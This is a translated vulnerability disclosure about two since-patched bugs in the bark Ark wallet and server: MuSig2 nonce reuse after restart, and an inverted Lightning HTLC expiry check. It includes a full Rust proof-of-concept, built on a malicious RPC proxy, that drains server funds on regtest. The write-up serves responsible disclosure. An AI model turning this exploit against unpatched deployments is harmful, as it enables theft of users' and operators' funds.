Bark中的两个漏洞可窃取资金
文章披露了在bark(Ark协议实现)中发现的2个安全漏洞:1)MuSig2签名时,secret nonce被持久化到磁盘,崩溃或重启后重复使用,导致私钥泄露,恶意服务器可窃取用户资金;2)HTLC中Ark VTXO过期时间检查方向错误,允许接收方在入站HTLC过期后仍领取资金,导致服务器(ASP)资金被抽干。两个漏洞均在24小时内修复,已发布补丁。

本周在审查 bark 时(因为它已准备好上线主网),我发现了两个漏洞:
-
崩溃或重启时的 Nonce 重用 —— 钱包将 MuSig2 的秘密签名 nonce 写入磁盘,并在重启后重用。重用 MuSig2 nonce 进行签名会话会泄露签名者的私钥。恶意 Ark 服务器可以收集这些重用行为并窃取用户资金。
-
HTLC 到期检查反转 —— 符号写反的比较使得闪电网络接收方可以持有一个在入站闪电 HTLC 之后 到期的 Ark VTXO。通过延迟索取,接收方从服务器获得付款,而服务器自身的入站付款则失效。这会耗尽服务器(ASP)的资金。
崩溃或重启时的 Nonce 重用
漏洞
bark 将轮次尝试(包括秘密 nonce)持久化到磁盘,以便钱包重启后轮次可以继续。在 bark/src/persist/models.rs 中,轮次状态直接包含了这些 nonce:
AwaitingUnsignedVtxoTree {
cosign_keys: Cow<'a, [Keypair]>,
secret_nonces: Cow<'a, [Vec<DangerousSecretNonce>]>,
unlock_hash: UnlockHash,
},
并且它被直接序列化到 SQLite 中:
let bytes = rmp_serde::to_vec(&SerdeRoundState::from(state)).expect("can serialize");
DangerousSecretNonce 故意绕过了重用保护,它会在每次调用时从存储的字节中重新生成一个全新的、完全可用的 SecretNonce:
pub struct DangerousSecretNonce([u8; MUSIG_SECNONCE_SIZE]);
impl DangerousSecretNonce {
pub fn to_sec_nonce(&self) -> SecretNonce {
SecretNonce::dangerous_from_bytes(self.0.clone()) // 无消耗,无清零
}
}
轮次流程:
-
在签名之前生成并持久化 nonce(
bark/src/round/mod.rs中的start_attempt)——AwaitingUnsignedVtxoTree状态(包括秘密 nonce)在任何签名之前被写入磁盘。 -
通过借用 nonce 进行签名(
sign_vtxo_tree→cosign_branch-musig::partial_sign)——to_sec_nonce()从持久化的字节中克隆出一个可用的 nonce;nonce 从未被消耗。 -
仅在签名离开钱包后才推进状态。 部分签名被发送到服务器,然后状态转换写入磁盘为
AwaitingFinishedRound。
如果在发送签名之后、状态推进写入之前钱包崩溃,磁盘上的状态仍然是 AwaitingUnsignedVtxoTree,且包含相同的秘密 nonce。并且重新加载时,没有任何东西将这些 nonce 绑定到原始提案。sign_vtxo_tree 只检查传入的提案是否包含钱包自身的输出。
重启后,它会发送一个不同的提案。钱包用相同的持久化 nonce 重新签名。
重复此过程,直到拥有该 nonce 下的 3 个签名,从而解出联签私钥,并能在任意树上伪造联签,窃取轮次资金。
修复
-
秘密 nonce 不再写入磁盘。
AwaitingUnsignedVtxoTree现在只携带{ unlock_hash, cosign_keys };旧的磁盘记录被读入一个占位符,该占位符丢弃所有持久化的 nonce。 -
Nonce 仅存在于内存中,存放在一个新的一次性使用的
RoundSecretNonces存储中;progress_attempt的take操作会移除它们(使用时即删除),因此即使在单个进程内也无法重用。 -
重启现在会中止尝试而不是重用,并带有明确的保护:
None => return AttemptProgressResult::Failed(anyhow!(
"secret cosign nonces unavailable (likely after a restart); \
abandoning round attempt to avoid nonce reuse")),
sign_vtxo_tree 现在使用真正的使用一次型 SecretNonce 类型,恢复了 DangerousSecretNonce 所丢弃的类型系统保护。
拉取请求:https://gitlab.com/ark-bitcoin/bark/-/merge_requests/2182
闪电网络接收时 HTLC 到期检查反转
漏洞
在闪电网络接收时,服务器持有入站 HTLC,并向你授予一个 Ark HTLC-recv VTXO。你通过透露原像来索取它,然后服务器用该原像结算入站 HTLC 并收取款项。
为了保证服务器安全,Ark VTXO 必须在入站闪电 HTLC 之前到期,并留出安全余量。这样在你透露原像后,服务器仍有时间在入站 HTLC 超时前结算它。
服务器对客户端请求的到期时间的边界检查,其符号写反了(server/src/ln/mod.rs):
let max_htlc_recv_expiry = lowest_incoming_htlc_expiry + self.config.htlc_expiry_delta as BlockHeight;
if htlc_recv_expiry > max_htlc_recv_expiry {
return badarg!("Requested HTLC recv expiry is too high. ...");
}
服务器欣然授予一个到期时间比入站 HTLC 晚 htlc_expiry_delta 个区块的 Ark VTXO,而 htlc_recv_expiry 由客户端选择。索取路径(claim_lightning_receive)没有链高度检查。它只检查原像、订阅状态和输入,但从未将当前区块高度与入站 HTLC 到期时间进行比较。无论多晚,它都会签署索取请求。
概念验证
我在 regtest 上构建了完整栈(bitcoind + Core Lightning + Ark 服务器 + bark 钱包)并复现了漏洞:
服务器授予了一个在入站 HTLC 之后到期的 VTXO:
granted Ark VTXO expiry: 186, inbound HTLC expiry: 180
一个代理持有接收方的索取请求,直到我挖矿超过了入站到期时间并且 Core Lightning 已将入站 HTLC 失败返还,然后将其释放给服务器:
>>> SERVER COSIGNED the claim after inbound HTLC expiry
=== RESULT ===
server cosigned late claim : true
receiver balance before : 2 BTC
receiver balance after : 3 BTC
接收方净赚 +1 BTC,完全由服务器提供资金,而服务器未收到任何入站款项。该攻击特别要求一个恶意客户端,它在入站 HTLC 失效之前一直持有索取请求。
use std::sync::Arc;
use std::sync::atomic::{AtomicU32, Ordering};
use std::str::FromStr;
use ark::lightning::Invoice;
use ark_testing::{TestContext, btc};
use ark_testing::daemon::captaind::{self, ArkClient};
use ark_testing::util::FutureExt;
use server_rpc::protos;
fn parse_max(msg: &str) -> Option<u32> {
let after = msg.split("Max").nth(1)?;
after.split_whitespace().next()?.trim_end_matches('.').parse::<u32>().ok()
}
#[derive(Clone)]
struct InflateExpiry {
honest: Arc<AtomicU32>,
evil: Arc<AtomicU32>,
}
#[async_trait::async_trait]
impl captaind::proxy::ArkRpcProxy for InflateExpiry {
async fn prepare_lightning_receive_claim(
&self,
upstream: &mut ArkClient,
mut req: protos::PrepareLightningReceiveClaimRequest,
) -> Result<protos::PrepareLightningReceiveClaimResponse, tonic::Status> {
let honest = req.htlc_recv_expiry;
self.honest.store(honest, Ordering::SeqCst);
let mut probe = req.clone();
probe.htlc_recv_expiry = honest.saturating_add(10_000_000);
let evil = match upstream.prepare_lightning_receive_claim(probe).await {
Ok(_) => honest.saturating_add(10_000_000), // server accepted even this
Err(status) => parse_max(status.message()).unwrap_or(honest),
};
self.evil.store(evil, Ordering::SeqCst);
req.htlc_recv_expiry = evil;
Ok(upstream.prepare_lightning_receive_claim(req).await?.into_inner())
}
}
#[tokio::test]
async fn poc_server_grants_vtxo_expiring_after_inbound_htlc() {
let ctx = TestContext::new("lightningd/poc_ln_expiry_bound").await;
let lightning = ctx.new_lightning_setup("lightningd").await;
let srv = ctx.captaind("srv").lightningd(&lightning.internal).funded(btc(10)).create().await;
let honest = Arc::new(AtomicU32::new(0));
let evil = Arc::new(AtomicU32::new(0));
let proxy = srv.start_proxy_no_mailbox(InflateExpiry {
honest: honest.clone(), evil: evil.clone(),
}).await;
let bark = Arc::new(ctx.bark("bark", &proxy.address).funded(btc(3)).create().await);
bark.board_and_confirm_and_register(&ctx, btc(2)).await;
lightning.sync().await;
let invoice_info = bark.bolt11_invoice(btc(1)).await;
let _ = Invoice::from_str(&invoice_info.invoice).unwrap();
tokio::join!(
async {
let inv = invoice_info.invoice.clone();
lightning.external.pay_bolt11(inv).await;
},
bark.lightning_receive(&invoice_info.invoice).wait_millis(30_000),
);
let honest = honest.load(Ordering::SeqCst);
let evil = evil.load(Ordering::SeqCst);
assert!(evil > 0, "proxy never saw a prepare request");
let htlc_expiry_delta = 6u32;
let inbound_htlc_expiry = evil - htlc_expiry_delta;
println!("honest client requested htlc_recv_expiry : {honest}");
println!("server accepted (max bound) M : {evil}");
println!("inbound Lightning HTLC expiry (M - delta): {inbound_htlc_expiry}");
println!("=> server granted an Ark VTXO expiring {} blocks AFTER the inbound HTLC",
evil as i64 - inbound_htlc_expiry as i64);
// An honest client deliberately keeps its Ark expiry well below the inbound HTLC.
assert!(evil > honest,
"server permitted an expiry ({evil}) far above the honest client's request ({honest})");
assert!(evil > inbound_htlc_expiry,
"VULN: granted Ark VTXO expiry {evil} is not below the inbound HTLC expiry {inbound_htlc_expiry}");
}
#[derive(Clone)]
struct InflateAndDelay {
evil: Arc<AtomicU32>,
claim_seen: Arc<std::sync::atomic::AtomicBool>,
release: Arc<std::sync::atomic::AtomicBool>,
server_cosigned: Arc<std::sync::atomic::AtomicBool>,
}
#[async_trait::async_trait]
impl captaind::proxy::ArkRpcProxy for InflateAndDelay {
async fn prepare_lightning_receive_claim(
&self, upstream: &mut ArkClient, mut req: protos::PrepareLightningReceiveClaimRequest,
) -> Result<protos::PrepareLightningReceiveClaimResponse, tonic::Status> {
let honest = req.htlc_recv_expiry;
let mut probe = req.clone();
probe.htlc_recv_expiry = honest.saturating_add(10_000_000);
let evil = match upstream.prepare_lightning_receive_claim(probe).await {
Ok(_) => honest.saturating_add(10_000_000),
Err(status) => parse_max(status.message()).unwrap_or(honest),
};
self.evil.store(evil, Ordering::SeqCst);
req.htlc_recv_expiry = evil;
Ok(upstream.prepare_lightning_receive_claim(req).await?.into_inner())
}
async fn claim_lightning_receive(
&self, upstream: &mut ArkClient, req: protos::ClaimLightningReceiveRequest,
) -> Result<protos::ArkoorPackageCosignResponse, tonic::Status> {
self.claim_seen.store(true, Ordering::SeqCst);
while !self.release.load(Ordering::SeqCst) {
tokio::time::sleep(std::time::Duration::from_millis(200)).await;
}
let r = upstream.claim_lightning_receive(req).await;
self.server_cosigned.store(r.is_ok(), Ordering::SeqCst);
match &r {
Ok(_) => eprintln!(">>> SERVER COSIGNED the claim after inbound HTLC expiry"),
Err(s) => eprintln!(">>> server REJECTED the late claim: {}", s.message()),
}
Ok(r?.into_inner())
}
}
#[tokio::test]
async fn poc_drain_asp_via_late_claim() {
let ctx = TestContext::new("lightningd/poc_ln_drain").await;
let lightning = ctx.new_lightning_setup("lightningd").await;
let srv = ctx.captaind("srv").lightningd(&lightning.internal).funded(btc(10)).create().await;
let evil = Arc::new(AtomicU32::new(0));
let claim_seen = Arc::new(std::sync::atomic::AtomicBool::new(false));
let release = Arc::new(std::sync::atomic::AtomicBool::new(false));
let server_cosigned = Arc::new(std::sync::atomic::AtomicBool::new(false));
let proxy = srv.start_proxy_no_mailbox(InflateAndDelay {
evil: evil.clone(), claim_seen: claim_seen.clone(),
release: release.clone(), server_cosigned: server_cosigned.clone(),
}).await;
let bark = Arc::new(ctx.bark("bark", &proxy.address).funded(btc(3)).create().await);
bark.board_and_confirm_and_register(&ctx, btc(2)).await;
lightning.sync().await;
let balance_before = bark.spendable_balance().await;
let pay_amount = btc(1);
let invoice_info = bark.bolt11_invoice(pay_amount).await;
let inv = invoice_info.invoice.clone();
let pay = tokio::spawn(async move { let _ = lightning.external.pay_bolt11(inv).await; });
let bark2 = bark.clone();
let inv2 = invoice_info.invoice.clone();
let recv = tokio::spawn(async move { let _ = bark2.try_lightning_receive(&inv2).await; });
for _ in 0..600 {
if claim_seen.load(Ordering::SeqCst) { break; }
tokio::time::sleep(std::time::Duration::from_millis(100)).await;
}
assert!(claim_seen.load(Ordering::SeqCst), "bark never reached the claim");
let evil = evil.load(Ordering::SeqCst);
let inbound_htlc_expiry = evil - 6;
println!("granted Ark VTXO expiry: {evil}, inbound HTLC expiry: {inbound_htlc_expiry}");
let tip = ctx.bitcoind().get_block_count().await as u32;
if inbound_htlc_expiry + 3 > tip {
ctx.generate_blocks(inbound_htlc_expiry + 3 - tip).await;
}
tokio::time::sleep(std::time::Duration::from_secs(15)).await;
release.store(true, Ordering::SeqCst);
let _ = tokio::time::timeout(std::time::Duration::from_secs(40), recv).await;
pay.abort();
let balance_after = bark.spendable_balance().await;
println!("=== DRAIN RESULT ===");
println!("server cosigned late claim : {}", server_cosigned.load(Ordering::SeqCst));
println!("receiver balance before : {balance_before}");
println!("receiver balance after : {balance_after}");
// The server cosigned a claim it can no longer back
// with the inbound HTLC.
assert!(server_cosigned.load(Ordering::SeqCst),
"server did NOT cosign the late claim -- the cooperative drain is not reachable this way");
}
修复
提交 d9a480a 引入了 validate_htlc_recv_expiry,它修复了以下问题:
-
修正了方向: 当
requested + htlc_expiry_delta > lowest_incoming_htlc_expiry时拒绝——即现在要求 Ark 的到期时间早于入站 HTLC,并留有安全余量。 -
添加了缺失的高度检查: 当
chain_tip + htlc_expiry_delta > lowest_incoming_htlc_expiry时也拒绝,在入站 HTLC 过于接近到期时拒绝授予。
拉取请求:https://gitlab.com/ark-bitcoin/bark/-/merge_requests/2184
两个漏洞均在负责任披露后的 24 小时内修复。 Second 团队在 bark-0.2.5 版本的发布说明中致谢。
如果你喜欢这些关于漏洞的撰写内容,请使用 floppy@rizful.com 的 LN 地址捐赠聪。
>- 原文链接: [substack.com/home/post/p...](https://substack.com/home/post/p-201838701)
>- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~